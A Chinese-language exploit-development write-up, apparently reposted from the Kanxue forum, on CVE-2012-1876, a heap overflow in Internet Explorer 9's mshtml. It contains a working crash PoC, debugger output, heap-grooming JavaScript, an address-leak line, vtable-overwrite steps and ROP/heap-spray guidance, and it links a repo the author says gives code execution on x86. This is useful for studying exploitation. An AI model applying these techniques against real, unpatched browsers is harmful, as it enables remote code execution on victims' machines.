Windows本地代码执行漏洞(CVE-2012-1876)x86/x64平台分析
2022-3-2 17:59:0 Author: mp.weixin.qq.com(查看原文) 阅读量:21 收藏


本文为看雪论坛精华文章

看雪论坛作者ID:ExploitCN

前言

1.1 概述

2012年,在Pwn2Own的黑客大赛上,来自法国的安全团队Vupen通过本篇的CVE-2012-1876漏洞,成功攻破windows7的IE9,他们因此获得数万美元的奖励。根据CVSS 2.0的评分,该漏洞的影响力达到最高分10分,利用难度极高,达到8.6分,其总体评分为9.3分。CVSS评分见下图:


1.2 非常重要的说明

针对这个漏洞我要说明的有以下几点:

① 本文并不做详细的漏洞成因分析,而是做详细的EXP编写分析;

② 本文只对核心漏洞代码、利用代码进行说明;

③ 所以,阅读本文之前,你最好看看下面的网址,有很详细的基础说明:
https://mp.weixin.qq.com/s/Wfc1wNc0KvCqXqFVEKRqcQ

④ 本文着重于指导EXP的编写,对怎么写、为什么这么写给出了详细说明;

⑤ 对x64平台下的EXP,有一个重要改进,也存在一个重大问题,见后文分析。

⑥ 本文是首篇对该漏洞在x64平台下分析、编写EXP的文章。

⑦ win7_x86_7601版本和win7_sp1_x64版本上实验。

POC分析

2.1 漏洞原因

详细漏洞成因见上面的网址,现在我简单说明下漏洞成因:
① 页面第一次的span等于1,申请的内存空间为0x70;
② 页面第二次的span等于1000,申请的内存空间依然为0x70;
在循环堆写入数据的时候,导致堆溢出。

2.2 POC代码

<html> <body> <table style="table-layout:fixed" >        <col id="132" width="41" span="1" >&nbsp </col> </table> <script>  function over_trigger() {        var obj_col = document.getElementById("132");        obj_col.width = "42765";        obj_col.span = 1000; }  setTimeout("over_trigger();",1);</script> </body> </html>


2.3 POC运行结果

(db0.fdc): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=06e3d000 edi=06e3d018eip=66860a2f esp=043bbaf8 ebp=043bbb04 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206mshtml!CTableColCalc::AdjustForCol+0x15:66860a2f 890f            mov     dword ptr [edi],ecx  ds:0023:06e3d018=????????1:020> r ecxecx=04141149

可见,触发漏洞的代码是在:
mshtml!CTableColCalc::AdjustForCol+0x15。

2.4 POC数据分析


mshtml!CTableColCalc::AdjustForCol+0x15打断点,逐步运行,可以得到图1,规律为:每一次循环,每两个位置之间相差0x1C,但是第一次是相差0x18。

下面从以下几个方面分析:

① 确认关键变量

② 确认堆循环

③ 确认堆数值

POC编写关键点分析

3.1 通过this指针确认关键变量

在函数
void CTableLayout::CalculateMinMax(CTableLayout __hidden this, struct CTableCalcInfo , int)
打断点,可得:

可以看到ebp+8的内存是0x7ebcea8,这个就是上面定义的第一个参数。注意,因为有*,所以这个是个地址,要取地址的内容,才是this指针。this指针指向类的起始地址。所以就要 dd poi(ebp+8)。

可以看到起始4个字节刚好是类的虚表指针。又因为在该函数偏移0x8位置,把ebp+8赋值给了ebx(也就是this指针,对象的地址)。此时要注意,所有跟ebx有关汇编代码,很有可能就是类的参数,会对EXP的编写有用处。

在mshtml!CTableLayout::CalculateMinMax+170,有:
lea esi, [ebx+90h] (ebx就是虚表指针,也就是类的起始地址)
然后EnsureSize里面调用_HeapRealloc时,又有:
lea esi, [edi+0Ch] (之前有mov edi,esi指令)
call [email protected]@[email protected]
所以,堆块分配后的存放位置为:
CTableLayout+0x90+0xC,也就是ebx+0x90+0xC,可以看到,分配的内存空间大小,确实为0x70。

3.2 确认堆的分配大小

牢牢把握住ebx,也就是CTableLayout,就知道这个类的成员结构了。记住,要紧紧围绕堆分配大小来确认需要什么。
 
通过汇编代码分析,在mshtml!CTableLayout::CalculateMinMax中,和ebx相关的内存变量,除了上面的堆地址,还有两个:
(1)ebx+0x54
(2)ebx+0x94
 
在POC调用over_triger,触发漏洞时,在调用mshtml!CTableColCalc::AdjustForCol处打断点,可得:

发现spannum为1,但是在overtriger里面已经设置为1000了。当然,我们在写EXP时,搞不清这几个参数什么意思,也没关系,因为我们已经知道,堆的位置在ebx+0x9c。所以,可以直接看存储堆指针的位置ebx+9c分配的堆大小是多少。

确实依然分配的是0x70大小。

所以,这里可以得出结论,在调用mshtml!CTableColCalc::AdjustForCol函数时,虽然已经修改span=1000,但是堆的大小,依然为0x70。那么,写的时候,是按照span=1000,还是按照span=1来写的呢?下面开始确认。

3.3 确认堆的写范围

堆的写范围和什么相关,当然和循环次数相关了。循环次数是怎么定的?如下图,在mshtml!CTableLayout::CalculateMinMax函数里。而且可以推出第一次是0x18(因为第一次循环时v86等于0,adjustforcol里面偏移0x18),第二次开始才是每次0x1Cn+0x18。

如果span=1000,可以写的最远范围为10001C-4,远远超出了0x70的范围。

3.4 确认堆的写内容

内容的计算,不是在GetPixelWidth中,而是在GetFancyFormat函数中,也就是
mshtml!CTableLayout::CalculateMinMax+0x1952be处。

这个函数出来之后的eax+0x70,取内容,就是计算的内容。但有个问题,这个函数里面计算的数值很复杂,存在eax中,eax经过的赋值为:
text:74E1B230 FF 35 98 8D 15 75               push    ?g_dwTls@@3KA   ; dwTlsIndex.text:74E1B236 0F BF F0                       movsx   esi, ax.text:74E1B239 FF 15 DC 12 C2 74              call    ds:__imp__TlsGetValue@4 ; TlsGetValue(x).text:74E1B23F 6B F6 0C                       imul    esi, 0Ch.text:74E1B242 8B 40 64                       mov     eax, [eax+64h].text:74E1B245 8B 40 30                       mov     eax, [eax+30h].text:74E1B248 8B 04 06                       mov     eax, [esi+eax]

然后eax+70取内容就是计算出来的值了。

现在,这个值非常不好确定,如果要自己去计算,就要跟进TlsGetValue函数。这是完全没有必要的,直接用实验法来确定。比如,width=1,width=2,看等于多少就可以确认要得到的内容了后面EXP的地址,也可以在这里提前确认。当然,实际的值是width100,或者width100 << 8 + 8。
现在最好就取width*100。其实很容易确定。当width=41时候,值就是0x1004,十进制就是4100。也可以看出来就是乘以的100。

x86平台EXP编写要点

4.1 堆布局


图2 堆溢出前堆布局
图3 溢出后堆布局
 
这两个图来源于《漏洞战争》很重要。首先分配E、A、B、CButtonLayout的4个堆,然后释放其中的E,用vulheap替代,也就是我们之前的溢出堆来替代。

下面,我来详细说明,这里的编写、调试思路。

4.2 为什么堆大小是0x100

运行EXP,在堆布局完成之后,断下。

首先,用:!heap -stat

然后,用:!heap -stat -h 00340000

接着,用!heap -a 00340000,搜索大小为fc的堆:

注意:这个命令输出的大小为fc的堆数量不全,只有6个,但实际上是250个,所以要用!heap -flt s fc命令,但这里只是为了找对象大小。后面确认时,再用!heap -flt s [size] 命令。

再用:!heap -p -a 40e860

最后,用 !heap -flt s fc

可知,CButtonLayout的Size=0x21*8=0x108字节。UserSize=0xFC,但因为内存对齐关系,实际大小为0x108字节。
现在来看看E、A、B堆大小:
可以看到,Size是108字节大小,和上面CButtonLayout的大小108字节一样。这就是为什么要设置成0x100大小。当然UserSize不重要,一个0x100,一个0xfc,都是数据大小,但是整块堆的大小就要看0x21,也就是108字节了。
 
这就是为什么堆大小是0x100的原因,当然这里的0x100,指的是UserSize。
 
记住,总共3个长度:
① 堆的总长0x108
② 用户长度0x100
③ BSTR长度0xfa

4.3 EXP的span为什么等于9

因为9*1C = FC ,刚好等于CButtonLayout的大小,而通过CButtonLayout我们知道,它是FC大小的堆,但实际size是0x108。
 
特别注意:这儿usersize是0xFC大小,但size是0x108,这和free的”EEEE”堆的大小是一样的。堆占用,要看size,而不是usersize。

4.4 覆盖虚表指针

4.4.1 第一阶段(覆盖字符串B长度)

在EXP代码CollectGarbage之后,再重新赋值ID=132的span之前,alert一下,然后进去看内存布局。因为取ID=132时,E和A之间有垃圾数据,所以选择ID=131的span。也就是日志vulheap倒数第二个,就是我们要的内存地址。但是因为断点是刚刚打在分配时,还没有赋值,所以还可以看到E的存在。内存如下:

4.4.2 第二阶段(字符串B的长度被覆盖,地址在20de680),内存如下:

4.4.3 第三阶段:覆盖虚表指针

之前其他EXP的span等于44,这个值可能也可以,但没必要覆盖这么大区域,直接等于29即可,内存如下:
未覆盖之前:

覆盖之后:

4.4.4 触发


可见,系统现在调用的地址是:
call [0707002c]。
只要把堆喷射到这个地址,就可以了。

x64平台EXP编写要点

5.1 堆布局

堆布局和x86平台一样,只是堆的大小要重新修改,一些参数要重新确认,这在后面分析。

5.2 POC验证

5.3 CButtonLayOut大小确认


上面红色是user size。所以,CButtonLayout的实际大小是0x148+0x8(8字节头)=0x150,但注意,可能有绿色的8字节头填充。那就是0x158字节了。下面的堆,是堆大小还等于0x100时的图。现在,x64要更改大小了。

所以,可以看到,Size = 0x12*0x10 = 0x120,刚好是UserSize + 0x10字节头长度。x64平台下,堆头是0x10字节。

5.4 x64堆代码修改及堆分布

for (var i = 0 ; i < 500 ; i += 2){    fr[i] = free.substring(0,(0x150-0x10-4-4-2)/2);    al[i] = string1.substring(0,(0x150-0x10-4-4-2)/2);    bl[i] = string2.substring(0,(0x150-0x10-4-4-2)/2);    var obj = document.createElement("button");    div_container.appendChild(obj);}

其中,0x150是分配的总大小,-0x10是因为8字节头+8字节填充,-4-4是因为填充+BSTR长度,-2是因为最后NULL字符。


注意:蓝色是虚表指针。
不管大小是0x158,还是0x150,内存的堆分配都是根据Size来的,只要Size的数值一样,堆就会被分配在相邻的内存。

5.5 确认堆分配地址

同样,在CalculateMinMax函数里,反汇编有:
.text:000007FF7DCA2E9B              lea     rcx, [r14+0D0h] ; this.text:000007FF7DCA2EA2              mov     r8d, r9d        ; int.text:000007FF7DCA2EA5              mov     edx, 20h ; ' '  ; unsigned __int64.text:000007FF7DCA2EAA              call    [email protected]CImplAry@@[email protected] ; CImplAry::EnsureSizeWorker(unsigned __int64,long) .text:000007FF7DC0CE00              mov     rdi, rcx .text:000007FF7DC0CE72              lea     rcx, [rdi+10h]  ; void **.text:000007FF7DC0CE76               mov     edx, ebp        ; unsigned __int64.text:000007FF7DC0CE78               call    [email protected]@[email protected] ; _HeapRealloc(void * *,unsigned __int64)

所以堆指针在:
r14+0xd0+0x10
 
bu mshtml!CTableLayout::CalculateMinMax+0x1df ".echo vulheap;dd poi(r14+0xd0+0x10) l4;g"
 
这个断点的最后一个,也就是id=132的vulheap,就是要被覆盖的堆的地址,后面的截图,就是这样找的地址。

5.6 修改span长度以让vulheap等于0x150

通过上面断点分析,发现分配的大小是span0x20
所以让其等于1032=320=0x140,
再加0x10字节头
让其等于0x150
那么需要span等于10。

5.7 覆盖虚表指针

5.7.1、第一阶段:覆盖字符串B长度确认

bu mshtml!CTableLayout::CalculateMinMax+0x1df ".echo vulheap;dd poi(r14+0xd0+0x10) l4;g"
这个断点的最后一个,也就是id=132的vulheap,就是要被覆盖的堆的地址,下面的截图,就是这样找的地址。

所以要覆盖到32c9cd0,长度就是0x2a0
通过前面知道,一个span是0x20,
所以这里的长度是:
0x2a0 /0x20 = 0x15 = 21,实际可以再加1个1,成为22。

5.7.2、第二阶段:覆B字符串长度(有重大改进)

采用x86堆结构,无法覆盖虚表,需要修改。


修改之后,加一个块C,为后面虚表指针被覆盖做准备。
注意:上面字符串B的长度被替换了。

5.7.3、获取mshtml基址代码说明

var leak = bl[i].substring((0x140-4-6+2+16+0x150)/2,(0x140-4-6+2+16+8+0x150)/2);
 
bl是块BBBB
说明:
0x140是字符串的长度
-4是填充
-6是BSTR的4字节长度和末尾2字节
所以,当使用substring函数的时候,这个index,就是字符串BBBB块的最后一个字符。
然后用这个index(0x140-4-6)继续计算:
+2,是2字节NULL
+0x16,是CButtonLayout块的头
+0x150,是块C的大小(包括头+填充+内容,是整个大小)
然后就可以获取47d25f0这个地址的mshtml基址了。

5.7.4、第三阶段:覆盖虚表指针

5.7.5 触发


这里的指针地址是0707002407070024,要修改这个地址,让地址能够被堆喷射。
但是,这里x64是0707002407070024,怎么办呢?堆喷不过去。
长度写成1,地址最小也是0x0000006400000064,也堆喷不过去。
所以x64平台我只是成功控制了喷射地址,而没有实现利用的效果。

堆喷射和ROP

ROP代码是通过mona.py实现的,你可以自己搜索资料实现。也可以参考我EXP的代码。

1、先观察喷射的内存分布,本来喷射最后4位都是0018结尾,如果是在0c0c结尾的内存的话,就要padding数据,最后让eip对准rop地址,但是这里,直接把位置定准在了0024,也就是说0018+8字节头+4字节BSTR长度,刚好就是24,所以就没有padding,就让width100直接指向24。具体padding的技巧,参考下面网址:
https://blog.csdn.net/qs_hud/article/details/9821735?utm_medium=distribute.wap_relevant.none-task-blog-2~default~baidujs_title~default-9.wap_blog_relevant_default&spm=1001.2101.3001.4242.6
正因为是这样,就把width定成了1178993100,指向07070024。当然,也可以是其他的数据,反正就是要先看内存分布,再定width大小。
最后,通过mona.py生成ROP数据,就可以达到任意代码执行的目的了。

关于代码

代码下载地址为:
https://github.com/ExploitCN/CVE-2012-1876-win7_x86_and_win7x64
其中x86的代码可以直接运行,实现任意代码执行。
x64的代码只能实现堆喷射地址控制,如果你解决了x64下面的问题,请一定要告诉我。

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458430364&idx=1&sn=59fbf5f7d95355e054b6f4fabe84e153&chksm=b18f9b1686f812004989b4f9dbeabf9e619a62136afce305266c0b8a398a80cf4d00f15012cf#rd
如有侵权请联系:admin#unsafe.sh